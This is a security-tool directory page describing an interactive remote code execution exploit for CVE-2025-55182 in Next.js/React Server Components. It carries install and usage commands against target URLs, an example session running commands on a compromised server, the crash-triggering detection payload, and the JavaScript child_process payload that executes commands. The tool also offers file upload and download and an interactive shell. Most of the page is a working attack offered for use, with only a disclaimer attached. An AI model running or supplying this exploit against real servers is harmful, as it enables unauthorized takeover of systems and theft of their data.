Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-55182-shellinteractive — Interactive RCE exploit for CVE-2025-55182 targeting Next.js/React Server Components deserialization vulnerability. Features automatic detection, command execution, file transfer, and a built-in shell with history and autocompletion. | Kitploit
Tools/GitHubGitHub/mrr0b0t19/cve-2025-55182-shellinteractive
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlRemote Access Tool
GitHubmrr0b0t19/cve-2025-55182-shellinteractive

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →

CVE-2025-55182-shellinteractive

Interactive RCE exploit for CVE-2025-55182 targeting Next.js/React Server Components deserialization vulnerability. Features automatic detection, command execution, file transfer, and a built-in shell with history and autocompletion.

View Repository
2139 months agoReviewed by Kitploit
Share

CVE-2025-55182-shellinteractive

Base used from: https://github.com/Emiyelbarto/CVE-2025-55182-PoC Thank you very much for the great contribution.

Overview

CVE-2025-55182 is a deserialization vulnerability in Next.js/React Server Components that allows unauthenticated remote attackers to execute arbitrary code on affected servers. The vulnerability stems from improper handling of serialized data in React Server Actions.

Key Features:

  • ✅ Interactive shell with command history and autocompletion
  • ✅ Automatic vulnerability detection
  • ✅ Remote command execution
  • ✅ File upload/download capabilities
  • ✅ Built-in test suite
  • ✅ Configurable target parameters

Installation

Prerequisites

  • Python 3.8 or higher
  • requests library

Quick Setup

root@kitploit:~
# Clone the repository
git clone https://github.com/yourusername/hokma.git
cd hokma

# Install dependencies
pip install requests

# Make script executable (optional)
chmod +x hokma.py

Usage

Basic Usage

root@kitploit:~
# Start interactive shell
python hokma.py

# Check vulnerability only
python hokma.py -u http://target.com --check

# Execute single command
python hokma.py -u http://target.com -c "whoami"

Interactive Shell Commands

root@kitploit:~
help                    Show this help message
set URL <url>          Set target URL
set ID <action_id>     Set action ID (default: user-profile-action)
show                   Show current options
check [url]            Check if target is vulnerable
exploit <command>      Execute command on target
shell                  Start interactive command shell
test                   Run test commands (id, whoami, etc.)
upload <loc> <rem>     Upload local file to target
download <rem> <loc>   Download remote file (base64 encoded)
clear                  Clear screen
exit/quit              Exit the shell

Example Session

root@kitploit:~
$ python hokma.py

  ____                 _     ____  _          _ _ 
 |  _ \ ___  __ _  ___| |_  / ___|| |__   ___| | |
 | |_) / _ \/ _` |/ __| __| \___ \| '_ \ / _ \ | |
 |  _ <  __/ (_| | (__| |_   ___) | | | |  __/ | |
 |_| \_\___|\__,_|\___|\__| |____/|_| |_|\___|_|_|
                                                  
 React Server Components RCE Exploit (CVE-2025-55182)
Interactive Shell - Type 'help' for commands

hokma> set URL http://vulnerable-app.com
[+] URL set to: http://vulnerable-app.com

hokma> check
[*] Checking vulnerability on target: http://vulnerable-app.com...
[+] TARGET IS VULNERABLE!

hokma> exploit whoami
[*] Executing command: whoami
[*] Server responded with status: 200

--- COMMAND OUTPUT ---
www-data
----------------------

hokma> shell
[*] Starting reverse shell. Use 'exit' to return.
[*] Enter commands to execute on target:
cmd> pwd
[*] Executing command: pwd

--- COMMAND OUTPUT ---
/var/www/html
----------------------
cmd> exit

Configuration Options

OptionDefaultDescription
Target URLNoneURL of the vulnerable application
Action IDuser-profile-actionServer Action ID to target
Timeout3 secondsRequest timeout

Technical Details

Vulnerability Detection

The tool sends a specially crafted multipart request that triggers a crash in vulnerable systems:

  • Uses the payload: ["$1:a:a"] with an empty object {}
  • Detects vulnerability through HTTP 500 responses or specific error patterns

Exploitation Mechanism

  1. JavaScript Payload Construction: Creates a Node.js script using the Function constructor
  2. Child Process Execution: Uses child_process.execSync() to run system commands
  3. Response Extraction: Captures and displays command output

Payload Structure

root@kitploit:~
const cmd = "COMMAND";
return import('child_process').then(cp => {
    try {
        const output = cp.execSync(cmd).toString();
        return output;
    } catch(e) { 
        return "Command Execution Failed: " + e.message; 
    }
});

Ethical Use & Disclaimer

IMPORTANT LEGAL NOTICE

This tool is intended for:

  • Authorized security testing
  • Educational purposes
  • Vulnerability research with proper consent

DO NOT use this tool against systems you don't own or have explicit permission to test. Unauthorized access to computer systems is illegal and unethical.

The developers are not responsible for any misuse of this tool. Users must comply with all applicable laws and obtain proper authorization before testing.

Known Limitations

  1. Target Requirements:

    • Node.js server with React Server Components
    • Vulnerable to CVE-2025-55182
    • Child process module available
  2. Detection Limitations:

    • May produce false positives/negatives
    • Depends on specific error responses
  3. Exploitation Constraints:

    • Commands execute with server process privileges
    • Output may be truncated in some cases
    • Complex commands may require special escaping
Download Tool